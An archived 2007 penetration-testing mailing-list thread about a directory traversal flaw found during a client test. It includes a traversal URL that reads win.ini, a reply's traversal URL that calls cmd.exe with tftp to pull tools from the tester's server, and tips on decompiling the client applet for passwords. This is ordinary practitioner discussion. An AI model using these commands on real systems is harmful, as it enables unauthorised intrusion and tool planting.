Re: Directory Transversal



Hello John,

The "code" snippet is indeed responsible for updating the java version
on the CLIENT side of the application, best guess is that you are
downloading and running an applet that takes care of all the
communication with the 'web server" component of the application. Is
the applet part of your scope or just the server side compoenent (I
would guess both are but...).

If yes there are several things you can do with the client side of the app:
1. Try putting that through a java decompiler and see what tis
happening behind the scenes. you could be geting all shorts of info
from the source, comments / hidden debug statements / passwords and
the such.

2. Have a look at the beanshel, useful to change runtime behaviour...

3. Put it through Java Object Inspector
(http://www.csnc.ch/static/download/tools/objectinspector-1.0.zip)

Have fun,
./ZQ

On 10/22/07, jfvanmeter@xxxxxxxxxxx <jfvanmeter@xxxxxxxxxxx> wrote:
I want to thank everyone for the help, my client has ask me to continue working on this problem to see what else might happen.

Here is alittle more information about application that is web enabled.

Its running under java, and check to see if java 1.5 is installed, and if its not it phones home to SUN, and prompts you to download 1.5.

Could these line be causing the problem?

if (_ie == true) document.writeln('<OBJECT classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" WIDTH = "900" HEIGHT = "600" ALIGN = "baseline" VSPACE = "0" HSPACE = "0" codebase="http://java.sun.com/update/1.5.0/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0";><NO EMBED><XMP>');
else if (_ns == true && _ns6 == false) document.writeln('<EMBED type="application/x-java-applet;version=1.5" WIDTH = "900" HEIGHT = "600" ALIGN = "baseline" VSPACE = "0" HSPACE = "0" CODE = "KeyInfoApplet.class" CODEBASE = "" scriptable=false pluginspage="http://java.sun.com/products/plugin/1.5/plugin-install.html";><NO EMBED><XMP>');
//--></SCRIPT>

-------------- Original message ----------------------
From: pand0ra <pand0ra.usa@xxxxxxxxx>
God is this an old exploit. Dogbert needs to come in and beat someone
with the stick of stupidity. Rant over, here is what I have done in
the past. I just setup a tftp server on my end and call tftp through
the URL and download whatever tools I want on that system. I haven't
done it in a while so I am a little rusty on the exact syntax.

http://mycomputer:port#/..//..//..//..//..//..//..//windows/cmd.exe?tftp

On 10/17/07, jfvanmeter@xxxxxxxxxxx <jfvanmeter@xxxxxxxxxxx> wrote:

Hello everyone, I'm in the middle of a test on a app that the following
command works on
http://mycomputer:port#/..//..//..//..//..//..//..//windows/win.ini
and it will prompt me to save the file, if i check my packet capture I see the
contents of the file.

So far I've been unable to get a put or post command to work and was hoping to
get some ideas from you all on things to try.

I've been trying to get nc/telnet and some other tools to help me with the put
comand

Thanks in advance --John

------------------------------------------------------------------------
This list is sponsored by: Cenzic

Need to secure your web apps NOW?
Cenzic finds more, "real" vulnerabilities fast.
Click to try it, buy it or download a solution FREE today!

http://www.cenzic.com/downloads
------------------------------------------------------------------------



------------------------------------------------------------------------
This list is sponsored by: Cenzic

Need to secure your web apps NOW?
Cenzic finds more, "real" vulnerabilities fast.
Click to try it, buy it or download a solution FREE today!

http://www.cenzic.com/downloads
------------------------------------------------------------------------



------------------------------------------------------------------------
This list is sponsored by: Cenzic

Need to secure your web apps NOW?
Cenzic finds more, "real" vulnerabilities fast.
Click to try it, buy it or download a solution FREE today!

http://www.cenzic.com/downloads
------------------------------------------------------------------------




--
---------------------------------------------------------------------
Κρέων
ἐν τῇδ᾽ ἔφασκε γῇ· τὸ δὲ ζητούμενον
ἁλωτόν, ἐκφεύγειν δὲ τἀμελούμενον.
Οιδίπους Τύρρανος [110]
---------------------------------------------------------------------
Creon
In this our land, so said he, those who seek Shall find; unsought, we
lose it utterly.
Oedipus Rex [110]
---------------------------------------------------------------------


Relevant Pages

  • Re: Best way to implement extremely heavy calculation?
    ... with Java, you need to have the correct version of the Java Virtual ... Machine installed on the client. ... download the ActiveX / Java applet. ... server side since atlas is an AJAX implementation for .NET. ...
    (microsoft.public.dotnet.framework.aspnet)
  • Re: Best way to implement extremely heavy calculation?
    ... Java, you need to have the correct version of the Java Virtual Machine ... installed on the client. ... Off course they will also need to download the ... server side since atlas is an AJAX implementation for .NET. ...
    (microsoft.public.dotnet.framework.aspnet)
  • Re: Directory Transversal - safe_path(char *path) function
    ... can someone point me in the direction on how to or if it possible to verify thae safe_pathfunction in java? ... not it phones home to SUN, and prompts you to download 1.5. ... Need to secure your web apps NOW? ... buy it or download a solution FREE today! ...
    (Pen-Test)
  • Re: Java Web Start
    ... Please understand that SUN JRE is not a Microsoft Product, ... Microsoft is providing this information as a convenience to you. ... For more information about Microsoft Java Virtual Machine Support, ... >someone who can install programs the download tab is disabled. ...
    (microsoft.public.windowsxp.general)
  • Re: Cannot access https or windowsupdate
    ... I can connect to any other website. ... Because of a court decision Microsoft will stop all Java support after 30 ... Sun also offers an automatic download and install of the 1.4 Java plug-in ... Replies are posted only to the newsgroup for the benefit or other readers. ...
    (microsoft.public.windows.inetexplorer.ie6.browser)